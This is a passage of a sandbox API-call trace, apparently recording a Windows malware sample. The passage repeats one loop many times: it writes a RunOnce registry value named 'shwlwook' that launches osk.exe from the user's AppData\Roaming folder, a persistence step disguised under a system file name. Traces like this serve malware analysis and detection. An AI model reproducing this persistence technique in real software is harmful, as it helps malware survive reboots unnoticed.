lpMsg=0x95f69c) returned 1 [0278.868] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.868] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.872] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.872] RegCloseKey (hKey=0x644) returned 0x0 [0278.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.884] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.884] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.885] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.885] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.885] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.885] RegCloseKey (hKey=0x644) returned 0x0 [0278.885] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.886] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.899] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.899] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.899] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.900] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.900] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.900] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.900] RegCloseKey (hKey=0x644) returned 0x0 [0278.901] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.901] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.915] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.915] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.915] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.916] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.916] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.916] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.916] RegCloseKey (hKey=0x644) returned 0x0 [0278.916] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.917] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.930] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.930] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.931] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.931] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.931] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.931] RegCloseKey (hKey=0x644) returned 0x0 [0278.932] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.932] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.946] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.946] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.946] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.947] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.947] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.947] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.947] RegCloseKey (hKey=0x644) returned 0x0 [0278.948] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.948] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.961] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.961] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.962] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.962] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.962] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.963] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.963] RegCloseKey (hKey=0x644) returned 0x0 [0278.963] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.963] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.977] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.977] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.978] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.978] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.978] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.978] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.978] RegCloseKey (hKey=0x644) returned 0x0 [0278.979] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.979] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.993] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.993] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.993] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.994] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.994] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.994] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.994] RegCloseKey (hKey=0x644) returned 0x0 [0278.994] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.995] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.009] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.009] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.009] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.010] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.010] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.010] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.010] RegCloseKey (hKey=0x644) returned 0x0 [0279.010] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.011] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.024] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.024] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.024] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.025] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.025] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.025] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.025] RegCloseKey (hKey=0x644) returned 0x0 [0279.026] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.026] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.040] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.040] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.040] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.040] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.041] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.041] RegCloseKey (hKey=0x644) returned 0x0 [0279.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.041] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.055] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.055] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.056] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.056] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.056] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.056] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.056] RegCloseKey (hKey=0x644) returned 0x0 [0279.057] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.057] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.071] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.071] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.071] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.072] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.072] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.072] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.072] RegCloseKey (hKey=0x644) returned 0x0 [0279.073] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.073] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.087] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.087] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.088] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.088] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.088] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.088] RegCloseKey (hKey=0x644) returned 0x0 [0279.088] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.089] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.102] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.102] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.103] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.103] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.104] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.104] RegCloseKey (hKey=0x644) returned 0x0 [0279.104] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.104] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.118] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.118] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.118] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.118] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.119] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.119] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.119] RegCloseKey (hKey=0x644) returned 0x0 [0279.119] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.119] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.134] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.134] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.135] RegCloseKey (hKey=0x644) returned 0x0 [0279.135] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.149] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.149] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.149] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.150] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.150] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.150] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.150] RegCloseKey (hKey=0x644) returned 0x0 [0279.151] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.151] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.165] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.165] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.165] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.165] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.166] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.166] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.166] RegCloseKey (hKey=0x644) returned 0x0 [0279.166] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.166] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.180] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.180] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.180] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.181] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.181] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.181] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.181] RegCloseKey (hKey=0x644) returned 0x0 [0279.182] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.182] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.196] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.196] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.197] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.197] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.197] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.197] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.198] RegCloseKey 